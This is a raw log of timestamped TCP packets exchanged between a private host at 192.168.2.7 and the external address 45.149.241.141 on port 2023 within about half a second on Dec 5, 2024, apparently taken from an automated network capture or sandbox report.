Dec 5, 2024 10:39:27.021496058 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.022491932 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.022563934 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.022605896 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.023669958 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.023775101 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.023880005 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.024772882 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.024899960 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.024938107 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.025988102 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.026053905 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.026119947 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.027123928 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.027268887 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.027311087 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.028240919 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.028397083 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.028443098 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.029422998 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.029530048 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.029568911 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.030492067 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.030591011 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.030635118 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.031743050 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.031757116 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.031795025 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.032880068 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.032923937 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.032964945 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.033942938 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.034105062 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.034148932 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.035094976 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.035289049 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.035348892 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.036240101 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.036361933 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.036421061 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.037404060 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.037530899 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.037571907 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.038536072 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.038568020 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.038686991 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.039866924 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.039912939 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.039949894 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.040786028 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.040909052 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.040944099 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.041954994 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.042047977 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.042115927 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.043319941 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.043402910 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.043437004 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.044275999 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.044430017 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.044518948 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.045408964 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.045639992 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.045677900 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.046443939 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.178960085 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.179023981 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.179063082 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.179469109 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.179511070 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.179546118 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.180824995 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.180866003 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.180871964 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.181772947 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.181832075 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.181890965 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.182895899 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.182931900 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.182934999 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.184302092 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.184348106 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.184407949 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.185590029 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.185619116 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.185641050 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.186427116 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.186466932 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.186534882 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.187530041 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.187546015 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.187576056 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.188642979 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.188714027 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.188738108 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.189944029 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.189987898 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.190124989 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.190871954 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.190918922 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.191070080 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.192017078 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.192064047 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.192112923 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.193200111 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.193249941 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.193325996 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.194361925 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.194403887 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.194443941 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.195450068 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.195498943 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.195524931 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.196631908 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.196679115 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.196702957 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.197737932 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.197753906 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.197783947 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.198885918 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.198935986 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.198995113 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.200016022 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.200067043 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.200133085 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.201209068 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.201253891 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.201297045 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.202308893 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.202353954 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.202403069 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.203478098 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.203522921 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.203608036 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.204608917 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.204659939 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.204677105 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.205734015 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.205777884 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.205828905 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.206892967 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.206940889 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.207020998 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.208112955 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.208153009 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.208184004 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.209191084 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.209239006 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.209316969 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.210294008 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.210344076 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.210397005 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.211493015 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.211544037 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.211570024 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.212622881 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.212670088 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.212697983 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.213771105 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.213819981 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.213973045 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.214951038 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.215020895 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.215059996 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.216500998 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.216550112 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.216604948 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.217297077 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.217309952 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.217349052 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.218293905 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.218347073 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.218492985 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.219458103 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.219501019 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.219590902 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.220623970 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.220639944 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.220671892 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.221755981 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.221803904 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.221821070 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.223200083 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.223252058 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.223293066 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.224241018 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.224296093 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.224335909 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.225428104 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.225475073 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.225645065 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.226893902 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.226944923 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.227035999 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.228317976 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.228363037 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.228396893 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.229376078 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.229420900 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.229428053 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.230386972 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.230406046 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.230432034 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.231318951 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.231333017 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.231369972 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.232314110 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.232358932 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.232459068 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.233508110 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.233529091 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.233550072 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.234426975 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.234468937 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.234493017 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.235393047 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.235434055 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.235523939 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.236675978 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.236689091 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.236718893 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.237778902 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.237792015 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.237857103 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.238991022 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.239046097 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.371481895 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.371611118 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.371686935 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.372040987 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.372164011 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.372205973 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.373177052 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.373322964 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.373369932 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.374319077 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.374443054 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.374489069 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.375513077 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.375574112 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.375639915 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.376588106 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.376719952 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.376786947 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.377717018 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.377906084 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.377978086 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.379055023 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.379091978 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.379208088 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.380039930 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.380140066 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.380199909 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.381175041 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.381269932 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.381335020 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.382317066 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.382433891 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.382502079 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.383465052 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.383575916 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.383644104 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.384824038 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.384885073 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.384960890 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.385783911 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.385844946 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.385983944 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.386993885 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.387012005 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.387070894 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.388122082 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.388269901 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.388339043 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.389297962 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.389313936 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.389383078 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.390386105 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.390403032 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.390456915 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.391474009 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.391555071 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.391618013 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.392671108 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.392784119 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.392847061 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.393719912 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.393881083 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.393939018 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.394901037 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.394993067 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.395091057 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.395997047 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.396203995 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.396276951 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.397156000 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.397258997 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.397327900 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.398289919 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.398430109 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.398503065 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.399425983 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.399542093 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.399602890 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.400592089 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.400728941 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.400827885 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.401743889 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.401758909 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.401813030 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.402903080 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.402950048 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.403049946 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.404005051 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.404088020 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.404154062 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.405160904 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.405266047 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.405330896 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.406296968 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.406438112 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.406507969 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.407442093 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.407565117 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.407628059 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.408584118 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.408657074 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.408811092 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.409745932 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.409813881 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.410018921 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:27.410952091 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:27.411186934 CET	2023	49852	45.149.241.141	192.168.2.7
